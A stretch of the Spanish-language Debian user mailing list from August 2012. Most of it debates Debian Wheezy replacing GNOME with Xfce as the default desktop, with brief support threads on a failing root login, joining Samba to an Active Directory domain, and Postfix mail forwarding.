Re: Nota: Debian cambia GNOME por Xfce para Wheezey. La razón: GNOME es demasiado grande para caber en un CD
Me parece bien que cambie a xfce. Debian es mucho más utilizado para servidor que otros y mucha gente necesita el entorno gráfico. Cuanto más ligero de escritorio sea, mejor va... Si instalo un servidor, sólo utilizo componentes para la consola, ya que incorporar un entorno gráfico o cualquier componente no necesario para el sistema, incrementa el número de fallos de seguridad que puede haber. En cambio, si instalo un entorno gráfico, mi meta es que sea cómodo de utilizar y que tenga el mayor número de herramientas, dentro de un entorno coherente y simple de utilizar. Teniendo en cuenta esto, llegamos al punto de que GNOME se integra mejor y de manera más eficiente con una mayor cantidad de herramientas que XFCE. No quiero de decir que XFCE sea un entorno malo, lo que quiero decir es que es algo limitado, si lo comparamos con GNOME. Si lo vemos desde el plano de un usuario que llega a Linux y desea realizar una instalación, creo que XFCE, no es el mejor de los entornos para empezar, aunque claro es mi punto de vista. --- Un saludo. Javier Silva -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/CAOg_h5YCBGX69NjfiEMGd=9jjvkn5qq-23akb9cckue6cab...@mail.gmail.com
Re: Nota: Debian cambia GNOME por Xfce para Wheezey. La razón: GNOME es demasiado grande para caber en un CD
On Friday 10 August 2012 08:51:06 Javier Silva wrote: En cambio, si instalo un entorno gráfico, mi meta es que sea cómodo de utilizar y que tenga el mayor número de herramientas, dentro de un entorno coherente y simple de utilizar. Teniendo en cuenta esto, llegamos al punto de que GNOME se integra mejor y de manera más eficiente con una mayor cantidad de herramientas que XFCE. ¿A que herramientas te refieres? Puedes usar cualquier programa con cualquier escritorio. Respecto a los programas que conforman un escritorio típico, gestor de ventanas, barra de herramientas y fondo de escritorio (iconos), para mi el gestor de ventanas es el mas importante, y el de Xfce, xfwm, es el que mas opciones ofrece, solo por detrás de enlightment que tiene incluso demasiadas. Cuando usaba Gnome, lo primero que hacia era cambiar el gestor Metacity por xfwm, ni idea de Gnome 3, pero el tradicional Metacity deja mucho que desear, no pudiendo maximizar vertical ni horizontalmente, ni teniendo diferentes capas para tener unas ventanas siempre al frente, ni todas las opciones en cuanto al control del foco ni la puesta en primer plano de las ventanas, etc. La barra y los iconos de Xfce són perfectamente funcionales. Pero como todo en el mundo de Linux, para gustos los colores, que cada cual se ponga el que mas le guste. ¿Que mas da el que venga por defecto? No veo el punto problemático de esta cuestión. ¡Con lo bien que va el CD netinstall! y ese no trae nada de todo esto. Bajarse un CD entero, ya no hablo de un DVD, es un desperdicio. Si no se tiene buena conexión a internet, entonces si que es necesario bajarte los CDs, pero no solo el primero, sino unos cuantos, como siempre ha sido, y puedes instalar Gnome, Kde o lo que quieras. Sigo sin verle el problema al por defecto. Siempre se ha dicho que Debian no es una distribución para novatos, Ubuntu está muchisimo mas orientada al usuario y para gente que no quiere complicarse, Debian para tener un control mas fino de lo que ocurre en el sistema. A un novato le recomiendo Ubuntu, y pasado un tiempo si se atreve que pruebe Debian, que no se arrepentirá del resultado. Y entonces como usuario con experiencia sabrá instalarse el escritorio de su elección sin problemas. Seria un error que Debian se enfocara mucho mas hacia el usuario de a pie. Esta es mi opinión y la comparto. Si lo vemos desde el plano de un usuario que llega a Linux y desea realizar una instalación, creo que XFCE, no es el mejor de los entornos para empezar, aunque claro es mi punto de vista. Yo no recomendaria Debian a un recién llegado, ni ahora con Xfce ni antes con Gnome. --- Un saludo. Javier Silva -- Marc Olivé Blau Advisors www.blauadvisors.com signature.asc Description: This is a digitally signed message part.
Re: Nota: Debian cambia GNOME por Xfce para Wheezey. La razón: GNOME es demasiado grande para caber en un CD
El Fri, 10 Aug 2012 12:30:54 +0200, Marc Olive escribió: (...) Pero como todo en el mundo de Linux, para gustos los colores, que cada cual se ponga el que mas le guste. ¿Que mas da el que venga por defecto? Hombre, pues sí que da. El entorno predeterminado de una distribución es su seña de identidad, es lo primero con lo que se van a encontrar los usuarios (los nuevos y los habituales), es un tema delicado. Que sí, que puedes elegir el que más te guste pero esa decisión no siempre se toma conscientemente (lo digo por los usuarios que recién prueban una distribución Linux) es decir, que los valores predeterminados se tienen que seleccionarse con lupa. No veo el punto problemático de esta cuestión. ¡Con lo bien que va el CD netinstall! y ese no trae nada de todo esto. Ja, ja... eso será para quienes sepan qué hacer desde la consola o los que tengan una buena conexión a Internet. Bajarse un CD entero, ya no hablo de un DVD, es un desperdicio. ¿Y qué sugieres? ¿Bajarse la mitad del CD? Si no se tiene buena conexión a internet, entonces si que es necesario bajarte los CDs, pero no solo el primero, sino unos cuantos, como siempre ha sido, y puedes instalar Gnome, Kde o lo que quieras. (...) Para instalar GNOME o KDE sólo era necesario un CD. Ahora necesitarás un CD de 1 GiB o el primer DVD. Sigo sin verle el problema al por defecto. Pues lo hay y no sólo en el fondo (el hecho) sino en la forma (en cómo lo han hecho). Yo no recomendaria Debian a un recién llegado, ni ahora con Xfce ni antes con Gnome. No creo que desde el proyecto Debian compartan esa idea... Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/k03434$qus$1...@dough.gmane.org
problemas para loguearme como root
hola lista tengo una situacion algo rara luego de haber instalado un servidor con debian lenny y configurado en este los servicios de bind9, squid y postfix todo funcionando bien al dia siguiente trato de loguearme como root en dicho server y me dice que el pass es incorrecto, pensando que hice algo mal o el otro admin cambio el pass sin darse cuenta reinstale el server nuevamente con los mismos servicios y me sucede lo mismo al dia siguiente el sistema me dice que el pass del usuario root es incorrecto. alguna idea? gracias de antemano por su ayuda __ Información de ESET NOD32 Antivirus, versión de la base de firmas de virus 7345 (20120801) __ ESET NOD32 Antivirus ha comprobado este mensaje. http://www.eset.com -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/1ef9f6639c084ccfaabe2b059c080...@cncc.cult.cu
Re: Consulta con dominio en windows y unir a AD 2003
Hola, gracias por la información. seguí los pasos que indicas sin embargo aun así no pude unirme al dominio. La duda que me surge es en el nombre del dominio. Vos lo llamas malvinas, yo lo llamo nacional. cuando indicas red.malvinas, osea el reino y el dominio, no se que colocar, solo tengo ese dato del dominio, nacional. intente suprimir ese paso pero aun así no funciona. acaso el reino que vos llamas RED sera el nombre del servidor de mi dominio??? Gracias por la paciencia... -- Carlos E. Vargas Rojas Voy a pasar por la vida una sola vez: por eso cualquier cosa buena que yo pueda hacer, o alguna amabilidad que pueda hacerle a algún ser humano, debo hacerlo ahora..porque no pasaré de nuevo por aquí. --MTC--
Re: Nota: Debian cambia GNOME por Xfce para Wheezey. La razón: GNOME es demasiado grande para caber en un CD
On Friday 10 August 2012 15:59:00 Camaleón wrote: El Fri, 10 Aug 2012 12:30:54 +0200, Marc Olive escribió: No veo el punto problemático de esta cuestión. ¡Con lo bien que va el CD netinstall! y ese no trae nada de todo esto. Ja, ja... eso será para quienes sepan qué hacer desde la consola o los que tengan una buena conexión a Internet. Bajarse un CD entero, ya no hablo de un DVD, es un desperdicio. ¿Y qué sugieres? ¿Bajarse la mitad del CD? Ni la mitad, sino el netinstall de 180Mb, ya lo habia dicho. Y luego descargas e instalas solo los paquetes que quieres. Y no, no es tarea para novatos, por supuesto, ellos tienen Ubuntu. Si no se tiene buena conexión a internet, entonces si que es necesario bajarte los CDs, pero no solo el primero, sino unos cuantos, como siempre ha sido, y puedes instalar Gnome, Kde o lo que quieras. (...) Para instalar GNOME o KDE sólo era necesario un CD. Ahora necesitarás un CD de 1 GiB o el primer DVD. No te gusta que Gnome no esté en el primer CD, pero resulta que no cabe, no hay nada que puedas hacer. ¿Donde está el punto de disconformidad? No hay alternativa, simplemente no cabe, ¿que sugieres? Necesitas mas de un CD, si o si, o descargarte los DVDs (que los CDs ya estan harto anticuados, dicho sea de paso). ¿Por que estamos hablando de esto? Sigo sin verle el problema al por defecto. Pues lo hay y no sólo en el fondo (el hecho) sino en la forma (en cómo lo han hecho). No hay nada en el hecho, Gnome no cabe en un CD (sin dejar fuera otros paquetes mas esenciales). ¿Y que pasa con el como? Imagino que lo hablaron en sus listas y buscaron alternativas, como siempre (pero lo desconozco totalmente, la pregunta es sincera). Yo no recomendaria Debian a un recién llegado, ni ahora con Xfce ni antes con Gnome. No creo que desde el proyecto Debian compartan esa idea... No es ninguna idea, es un hecho: yo no lo recomiendo. Saludos, -- Marc Olivé Blau Advisors www.blauadvisors.com signature.asc Description: This is a digitally signed message part.
Re: Nota: Debian cambia GNOME por Xfce para Wheezey. La razón: GNOME es demasiado grande para caber en un CD
El día 10 de agosto de 2012 15:59, Camaleón noela...@gmail.com escribió: El Fri, 10 Aug 2012 12:30:54 +0200, Marc Olive escribió: (...) Pero como todo en el mundo de Linux, para gustos los colores, que cada cual se ponga el que mas le guste. ¿Que mas da el que venga por defecto? Hombre, pues sí que da. El entorno predeterminado de una distribución es su seña de identidad, es lo primero con lo que se van a encontrar los usuarios (los nuevos y los habituales), es un tema delicado. Que sí, que puedes elegir el que más te guste pero esa decisión no siempre se toma conscientemente (lo digo por los usuarios que recién prueban una distribución Linux) es decir, que los valores predeterminados se tienen que seleccionarse con lupa. No veo el punto problemático de esta cuestión. ¡Con lo bien que va el CD netinstall! y ese no trae nada de todo esto. Ja, ja... eso será para quienes sepan qué hacer desde la consola o los que tengan una buena conexión a Internet. Bajarse un CD entero, ya no hablo de un DVD, es un desperdicio. ¿Y qué sugieres? ¿Bajarse la mitad del CD? Si no se tiene buena conexión a internet, entonces si que es necesario bajarte los CDs, pero no solo el primero, sino unos cuantos, como siempre ha sido, y puedes instalar Gnome, Kde o lo que quieras. (...) Para instalar GNOME o KDE sólo era necesario un CD. Ahora necesitarás un CD de 1 GiB o el primer DVD. Sigo sin verle el problema al por defecto. Pues lo hay y no sólo en el fondo (el hecho) sino en la forma (en cómo lo han hecho). Yo no recomendaria Debian a un recién llegado, ni ahora con Xfce ni antes con Gnome. No creo que desde el proyecto Debian compartan esa idea... Debian es para todo el mundo, para el que comienza y para el que cambia, cuantos más seamos, mucho mejor. En todo lo demás, estoy totalmente de acuerdo con Camaleón, por lo que no añadiré nada más. --- Un saludo, Javier. Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/k03434$qus$1...@dough.gmane.org -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/caog_h5y-_a0bsbnyxlgtz7mhwkxbeh9tccfuogph6ppt+km...@mail.gmail.com
Reenvio correo Posftix
Hola, les traslado el siguiente problema, a ver si alguno sabe como arreglarlo. Tengo dos servidores de correos, uno de ellos con postfix, donde tengo configurado el dominio hola.com, cuando envío un mail desde una cuenta de mi postfix a pru...@hola.com, quiero que si la cuenta prueba no existe en el servidor, el mail me lo envíe al otro servidor de correo. alguno tiene idea de como hacer esto? Gracias
Re: problemas para loguearme como root
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 El 10/08/12 15:38, Ariel Alvarez escribió: hola lista tengo una situacion algo rara luego de haber instalado un servidor con debian lenny y configurado en este los servicios de bind9, squid y postfix todo funcionando bien al dia siguiente trato de loguearme como root en dicho server y me dice que el pass es incorrecto, pensando que hice algo mal o el otro admin cambio el pass sin darse cuenta reinstale el server nuevamente con los mismos servicios y me sucede lo mismo al dia siguiente el sistema me dice que el pass del usuario root es incorrecto. alguna idea? Si, que o bien no te acuerdas del password o, apuesto por esta, que el otro admin es un bromista. Un saludo JulHer -BEGIN PGP SIGNATURE- Version: GnuPG/MacGPG2 v2.0.16 (Darwin) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAlAlIDAACgkQN4Xu4S1+RItdKACfZuL2CYOhexzq26ISGEAv628o l00AnApVskHfFshUERns+rElKcp9p3CG =1dD2 -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/50252031.9030...@escomposlinux.org
Re: Consulta con dominio en windows y unir a AD 2003
El 10/08/12 11:43, Carlos E. Vargas Rojas escribió: Hola, gracias por la información. seguí los pasos que indicas sin embargo aun así no pude unirme al dominio. La duda que me surge es en el nombre del dominio. Vos lo llamas malvinas, yo lo llamo nacional. cuando indicas red.malvinas, osea el reino y el dominio, no se que colocar, Tenés el nombre de dominio y de reino igual. Poné el mismo nombre en ambos. La diferenciación entre dominio y reino, viene de arrastre por compatibilidad con los grupos de trabajo de los Windows previos al XP. solo tengo ese dato del dominio, nacional. intente suprimir ese paso No lo suprimas, poné el mismo nombre. pero aun así no funciona. acaso el reino que vos llamas RED sera el nombre del servidor de mi dominio??? El dominio es MALVINAS. El reino es MALVINAS.RED. No, el nombre de un servidor puede ser SIMILAR, nunca IGUAL. El nombre de cualquier máquina en un ADS está compuesto por DOS partes, la de la máquina o servidor en sí, y el del dominio.reino, por ejemplo, ventas.empresa.com ventas.empresa empresita.empresita Es decir, ventas es la identificación de la máquina, y empresa.com o empresa el domino. En el último caso, tenés una máquina empresita que tiene el mismo nombre que el domino. Sinceramente, CREO que no se puede hacer, porque NUNCA lo ví, pero no quiere decir que el BOFH sea tan tontuelo de no organizar en forma sistemática y coherente los nombres de la máquinas. En mi trabajo, los nombres de máquinas tienen el siguiente formato: Sector_Tipo_Estación.Reino VentasW25.malvinas.red SistemasS03.malvinas.red ClientesDB01.malvinas.red W = WorkStation, o sea, una máquina de trabajo normal. S = Server, o sea, el PDC o algunos de los BDC de red de la empresa. DB = DataBase, o sea, donde están los servidores de bases de datos. Gracias por la paciencia... -- Carlos E. Vargas Rojas Ahora vienen mis pedidos: Pegá la salida de los siguientes comandos: testparm wibinfo -P wbinfo --online-status wbinfo --own-domain sudo net ads testjoin --verbose sudo net rpc testjoin --verbose sudo dpkg -l krb* sudo dpkg -l winbind Así y todo, no te olvides de las dos NOTAS IMPORTANTES de la wiki, que suelen dar dolores de cabeza: En la autenticación por Kerberos 5, es FUNDAMENTAL que el servidor de claves y la terminal tengan sus RELOJES SINCRONIZADOS. Una diferencia de hora de más de cinco minutos, invalida las claves. Para sincronizar la hora, ejecute root@jap# net time set -S MASA1 Cada máquina, o host, debe estar validada en un dominio NT, no sólo el usuario que la utiliza. Me dirá que eso nunca lo hizo con M$W 95, 98 o Me, y le diré que es cierto. Pero si alguna vez dio de alta una terminal con M$W XP, sabrá que debió unirla al dominio en forma explícita, y ***debió tener comunicaciones con el administrador de red para que en el PDC esa máquina sea reconocida.*** JAP -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/50252883.2020...@gmail.com
Re: Nota: Debian cambia GNOME por Xfce para Wheezey. La razón: GNOME es demasiado grande para caber en un CD
On Friday 10 August 2012 16:59:56 Javier Silva wrote: Debian es para todo el mundo, para el que comienza y para el que cambia, cuantos más seamos, mucho mejor. Falso. Cada cual tiene la distribución y el sistema que mejor le va, y ninguno es para todos: Por ejemplo, Debian no es para mi padre, lo probé y no funcionó (por supesto, mi padre es de este mundo, tu afirmación ya ha sido rebatida, pero continuemos con el ejemplo), MacOS si es para él. Pero MacOS no es para mi madre, lo suyo es Windows. Pero Windows no es para mi, lo mio es Debian. Pero Debian no es para un amigo mio, Ubuntu le encaja mucho mejor. Y tengo amigos a los que no les va Debian ni Ubuntu, sino Fedora, Gentoo u otros. Nada es para todo el mundo mas que la muerte. --- Un saludo, Javier. -- Marc Olivé Blau Advisors www.blauadvisors.com signature.asc Description: This is a digitally signed message part.
Re: problemas para loguearme como root
El Fri, 10 Aug 2012 09:38:52 -0400, Ariel Alvarez escribió: hola lista tengo una situacion algo rara luego de haber instalado un servidor con debian lenny y configurado en este los servicios de bind9, squid y postfix todo funcionando bien al dia siguiente trato de loguearme como root en dicho server y me dice que el pass es incorrecto, pensando que hice algo mal o el otro admin cambio el pass sin darse cuenta La contraseña de root no se puede cambiar sin darse cuenta ;-) reinstale el server nuevamente con los mismos servicios y me sucede lo mismo al dia siguiente el sistema me dice que el pass del usuario root es incorrecto. alguna idea? Si has configurado sudo tienes que usar la contraseña de tu usuario no la de root. De todas formas, revisa el registro de autentificaciones que tienes en /var/log. Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/k039pq$qus$7...@dough.gmane.org
Re: Nota: Debian cambia GNOME por Xfce para Wheezey. La razón: GNOME es demasiado grande para caber en un CD
El Fri, 10 Aug 2012 16:55:56 +0200, Marc Olive escribió: On Friday 10 August 2012 15:59:00 Camaleón wrote: Bajarse un CD entero, ya no hablo de un DVD, es un desperdicio. ¿Y qué sugieres? ¿Bajarse la mitad del CD? Ni la mitad, sino el netinstall de 180Mb, ya lo habia dicho. Y luego descargas e instalas solo los paquetes que quieres. Y no, no es tarea para novatos, por supuesto, ellos tienen Ubuntu. Pues flaco favor le haces a Debian promoviendo Ubuntu. Y no, la instalación vía red es inviable si no tienes conexión a Internet o tu enlace es lento o inestable. Si no se tiene buena conexión a internet, entonces si que es necesario bajarte los CDs, pero no solo el primero, sino unos cuantos, como siempre ha sido, y puedes instalar Gnome, Kde o lo que quieras. (...) Para instalar GNOME o KDE sólo era necesario un CD. Ahora necesitarás un CD de 1 GiB o el primer DVD. No te gusta que Gnome no esté en el primer CD, Ni me gusta ni me deja de gustar, es una realidad, nada más. pero resulta que no cabe, no hay nada que puedas hacer. No cabe... ya. Quizá si en lugar de instalar un entorno gnome completo se optara por gnome-core y sus dependencias directas se podría hacer algo. ¿Donde está el punto de disconformidad? No hay alternativa, simplemente no cabe, ¿que sugieres? Necesitas mas de un CD, si o si, o descargarte los DVDs (que los CDs ya estan harto anticuados, dicho sea de paso). Hombre, querer, querer... Quiero que se debatan estas cosas abiertamente y teniendo en cuenta todas las opciones no que se se opte por una solución cerrada y a pie juntillas. ¿Por que estamos hablando de esto? Tú sabrás por qué has respondido a este hilo. Sigo sin verle el problema al por defecto. Pues lo hay y no sólo en el fondo (el hecho) sino en la forma (en cómo lo han hecho). No hay nada en el hecho, Gnome no cabe en un CD (sin dejar fuera otros paquetes mas esenciales). Eso no lo sabemos si no se prueba. ¿Y que pasa con el como? Imagino que lo hablaron en sus listas y buscaron alternativas, como siempre (pero lo desconozco totalmente, la pregunta es sincera). ¿Hablaron? Sí, bueno, sacaron el tema en mayo en las listas de debian- boot y debian-cd, pero en esas listas no hay usuarios de a pie, nadie se ha enterado hasta hace unos días (ni si quiera los propios desarrolladores). Yo no recomendaria Debian a un recién llegado, ni ahora con Xfce ni antes con Gnome. No creo que desde el proyecto Debian compartan esa idea... No es ninguna idea, es un hecho: yo no lo recomiendo. No creo que desde el proyecto Debian recomienden ese hecho... Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/k03b45$qus$1...@dough.gmane.org
Re: Reenvio correo Posftix
El Fri, 10 Aug 2012 12:07:44 -0300, Azu Carlitox escribió: (ese html...) Hola, les traslado el siguiente problema, a ver si alguno sabe como arreglarlo. Tengo dos servidores de correos, uno de ellos con postfix, donde tengo configurado el dominio hola.com, Cuando quieras utilizar un nombre de dominio ficticio usa mejor uno de los dominios destinados a tal efecto: example.com cuando envío un mail desde una cuenta de mi postfix a pru...@hola.com, quiero que si la cuenta prueba no existe en el servidor, el mail me lo envíe al otro servidor de correo. alguno tiene idea de como hacer esto? Gracias De manera predeterminada Postfix rechaza los correos destinados a cuentas que no existen, así que si la cuenta pru...@example.com no va a parar a ningún buzón de correo local (o que Postfix no sepa cómo gestionarla) podrás crear un alias (el tipo de alias dependerás del tipo de cuentas que tengas, del sistema o virtuales) para enviarlo al correo que prefieras, local o remoto. Más info aquí: http://www.postfix.org/VIRTUAL_README.html Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/k03bo0$qus$1...@dough.gmane.org
Re: Nota: Debian cambia GNOME por Xfce para Wheezey. La razón: GNOME es demasiado grande para caber en un CD
On Friday 10 August 2012 17:59:01 Camaleón wrote: El Fri, 10 Aug 2012 16:55:56 +0200, Marc Olive escribió: On Friday 10 August 2012 15:59:00 Camaleón wrote: Bajarse un CD entero, ya no hablo de un DVD, es un desperdicio. ¿Y qué sugieres? ¿Bajarse la mitad del CD? Ni la mitad, sino el netinstall de 180Mb, ya lo habia dicho. Y luego descargas e instalas solo los paquetes que quieres. Y no, no es tarea para novatos, por supuesto, ellos tienen Ubuntu. Pues flaco favor le haces a Debian promoviendo Ubuntu. Pero duermo mas tranquilo sabiendo que he dado un buen consejo, si es que Debian (o cualquier otro sistema) no es una opción adecuada. Y peor favor le hago a Debian si insisto en instalarla, metiendola en calzador a cualquier precio cuando no es la ideal, para que después el usuario salga echando pestes diciendo que Debian no sirve para nada. Y no, la instalación vía red es inviable si no tienes conexión a Internet o tu enlace es lento o inestable. Sin (buena) conexión creo yo que vas a necesitar unos cuantos CDs, no solo el primero. Lo decía justo en el siguiente párrafo. Si no se tiene buena conexión a internet, entonces si que es necesario bajarte los CDs, pero no solo el primero, sino unos cuantos, como siempre ha sido, y puedes instalar Gnome, Kde o lo que quieras. Saludos, -- Marc Olivé Blau Advisors www.blauadvisors.com signature.asc Description: This is a digitally signed message part.
Re: Nota: Debian cambia GNOME por Xfce para Wheezey. La razón: GNOME es demasiado grande para caber en un CD
El día 10 de agosto de 2012 13:38, Marc Olive marc.ol...@blauadvisors.com escribió: On Friday 10 August 2012 17:59:01 Camaleón wrote: El Fri, 10 Aug 2012 16:55:56 +0200, Marc Olive escribió: On Friday 10 August 2012 15:59:00 Camaleón wrote: Bajarse un CD entero, ya no hablo de un DVD, es un desperdicio. ¿Y qué sugieres? ¿Bajarse la mitad del CD? Ni la mitad, sino el netinstall de 180Mb, ya lo habia dicho. Y luego descargas e instalas solo los paquetes que quieres. Y no, no es tarea para novatos, por supuesto, ellos tienen Ubuntu. Pues flaco favor le haces a Debian promoviendo Ubuntu. Pero duermo mas tranquilo sabiendo que he dado un buen consejo, si es que Debian (o cualquier otro sistema) no es una opción adecuada. Y peor favor le hago a Debian si insisto en instalarla, metiendola en calzador a cualquier precio cuando no es la ideal, para que después el usuario salga echando pestes diciendo que Debian no sirve para nada. Una instalacion por red, no sera para un usuario novato, pero si lo es una instalacion con el CD que integra el entorno completo. Un entorno completo es practicamente lo mismo sea la distro que sea. Saludos! -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/CAACM3-7JnzDfWwZFrQbgQ+j4=u9xuwvng49fa5bmpvbxway...@mail.gmail.com
Re: Nota: Debian cambia GNOME por Xfce para Wheezey. La razón: GNOME es demasiado grande para caber en un CD
El Fri, 10 Aug 2012 18:38:30 +0200, Marc Olive escribió: On Friday 10 August 2012 17:59:01 Camaleón wrote: El Fri, 10 Aug 2012 16:55:56 +0200, Marc Olive escribió: On Friday 10 August 2012 15:59:00 Camaleón wrote: Bajarse un CD entero, ya no hablo de un DVD, es un desperdicio. ¿Y qué sugieres? ¿Bajarse la mitad del CD? Ni la mitad, sino el netinstall de 180Mb, ya lo habia dicho. Y luego descargas e instalas solo los paquetes que quieres. Y no, no es tarea para novatos, por supuesto, ellos tienen Ubuntu. Pues flaco favor le haces a Debian promoviendo Ubuntu. Pero duermo mas tranquilo sabiendo que he dado un buen consejo, si es que Debian (o cualquier otro sistema) no es una opción adecuada. Pero es que sí es una opción adecuada o eso es lo que pretenden. Si no lo consiguen es porque algo falla y si algo falla hay que solucionarlo en lugar de mirar para otro lado y enviar a los usuarios a cualquier otra distribución por muy prima-hermana que sea. Y peor favor le hago a Debian si insisto en instalarla, metiendola en calzador a cualquier precio cuando no es la ideal, para que después el usuario salga echando pestes diciendo que Debian no sirve para nada. Es que Debian tiene que entrar suave, sin calzador. ¿Por qué crees que al final hicieron un instalador gráfico, para los usuarios avanzados? No lo creo. Y no, la instalación vía red es inviable si no tienes conexión a Internet o tu enlace es lento o inestable. Sin (buena) conexión creo yo que vas a necesitar unos cuantos CDs, no solo el primero. Lo decía justo en el siguiente párrafo. Sólo el primero es (o era) suficiente para tener un entorno gráfico (GNOME, KDE, XFCE o LXDE) funcionando tras la instalación. Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/k03efm$qus$1...@dough.gmane.org
¿Es Debian para todo el mundo? (Era: Nota: Debian cambia GNOME por Xfce para Wheezey. La razón: GNOME es demasiado grande para caber en un CD)
On Friday 10 August 2012 18:56:22 Camaleón wrote: El Fri, 10 Aug 2012 18:38:30 +0200, Marc Olive escribió: On Friday 10 August 2012 17:59:01 Camaleón wrote: El Fri, 10 Aug 2012 16:55:56 +0200, Marc Olive escribió: Ni la mitad, sino el netinstall de 180Mb, ya lo habia dicho. Y luego descargas e instalas solo los paquetes que quieres. Y no, no es tarea para novatos, por supuesto, ellos tienen Ubuntu. Pues flaco favor le haces a Debian promoviendo Ubuntu. Pero duermo mas tranquilo sabiendo que he dado un buen consejo, si es que Debian (o cualquier otro sistema) no es una opción adecuada. Pero es que sí es una opción adecuada o eso es lo que pretenden. Si no lo consiguen es porque algo falla y si algo falla hay que solucionarlo en lugar de mirar para otro lado y enviar a los usuarios a cualquier otra distribución por muy prima-hermana que sea. Seguramente seria bonito que Debian (o GNU/Linux, para ser mas generales) sirviera para todo el mundo, pero no es así y me extrañaria muchísimo que lo llegue a ser algún dia. Y tampoco estoy del todo seguro que sea buena idea, un monopolio es un monopolio, sin competéncia y sin apenas innovación (¿para qué?). Claro que en el mundo GNU las leyes a las que estamos acostumbrados no siempre sirven y quizas si fuera un monopolio bueno. No lo sé. El mayor problema que le veo yo a GNU/Linux se llama Micro$oft con sus hijos docx, xlsx y pptx, además de todo su inmenso poder en dólares. A ver si la crisis acaba con el dinero de una vez por todas, eso ayudaria ;-) Antes que os tireis a la yugular, LibreOffice hace lo que puede con los formatos propietarios, y teniendo en cuenta todas las trabas que pone M$, sobretodo cambiando el formato a menudo, LibreOffice ha hecho un trabajo encomiable, pero no abre correctamente todos los archivos de M$ Office, pptx sobre todo. Y si, odt es un formato ISO, pero eso díselo a mi jefe y a todos los clientes. Además, los dólares de M$ también han hecho de docx un estándard ISO, con disparates como aceptar fechas no-ISO en estándares ISO. Trístemente, esto se consigue con el poder del dinero. Sin (buena) conexión creo yo que vas a necesitar unos cuantos CDs, no solo el primero. Lo decía justo en el siguiente párrafo. Sólo el primero es (o era) suficiente para tener un entorno gráfico (GNOME, KDE, XFCE o LXDE) funcionando tras la instalación. Bueno, los programas cada dia ocupan más, parece que ha llegado la hora de dar muerte a los CDs. Para eso están los DVDs. ¿Alguien sigue usando la disquetera? Es ley de vida, renovar o morir, o el precio que debemos pagar por todas las innovaciones. Otra alternativa es instalar las versiones antiguas de Debian, con las versiones antiguas de los programas que no ocupan tanto y que caben en un CD. Y para poder disfrutar de estos programas también es necesario connexiones a Internet más rápidas, sintiéndolo mucho por todos aquellos que no la tienen, o tendrán que armarse de mucha más paciéncia (aún recuerdo el dia que dejé el módem de 33.6 kbits descargando la última versión de Netscape, 74Mb, durante toda la noche). Saludos, -- Marc Olivé Blau Advisors www.blauadvisors.com signature.asc Description: This is a digitally signed message part.
Re: ¿Es Debian para todo el mundo? (Era: Nota: Debian cambia GNOME por Xfce para Wheezey. La razón: GNOME es demasiado grande para caber en un CD)
El día 10 de agosto de 2012 14:34, Marc Olive marc.ol...@blauadvisors.com escribió: On Friday 10 August 2012 18:56:22 Camaleón wrote: El Fri, 10 Aug 2012 18:38:30 +0200, Marc Olive escribió: On Friday 10 August 2012 17:59:01 Camaleón wrote: El Fri, 10 Aug 2012 16:55:56 +0200, Marc Olive escribió: Ni la mitad, sino el netinstall de 180Mb, ya lo habia dicho. Y luego descargas e instalas solo los paquetes que quieres. Y no, no es tarea para novatos, por supuesto, ellos tienen Ubuntu. Pues flaco favor le haces a Debian promoviendo Ubuntu. Pero duermo mas tranquilo sabiendo que he dado un buen consejo, si es que Debian (o cualquier otro sistema) no es una opción adecuada. Pero es que sí es una opción adecuada o eso es lo que pretenden. Si no lo consiguen es porque algo falla y si algo falla hay que solucionarlo en lugar de mirar para otro lado y enviar a los usuarios a cualquier otra distribución por muy prima-hermana que sea. Seguramente seria bonito que Debian (o GNU/Linux, para ser mas generales) sirviera para todo el mundo, pero no es así y me extrañaria muchísimo que lo llegue a ser algún dia. No entiendio porque dices que no es para todo el mundo, si dieras alguna ejemplo de algo que le falta, estaria bueno para que se puede discutir mejor. Y tampoco estoy del todo seguro que sea buena idea, un monopolio es un monopolio, sin competéncia y sin apenas innovación (¿para qué?). Claro que en el mundo GNU las leyes a las que estamos acostumbrados no siempre sirven y quizas si fuera un monopolio bueno. No lo sé. No tiene nada que ver un monopolio con lo que se estaba hablando. No se cual es el concepto de monopolio que tenes. saludos! -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: 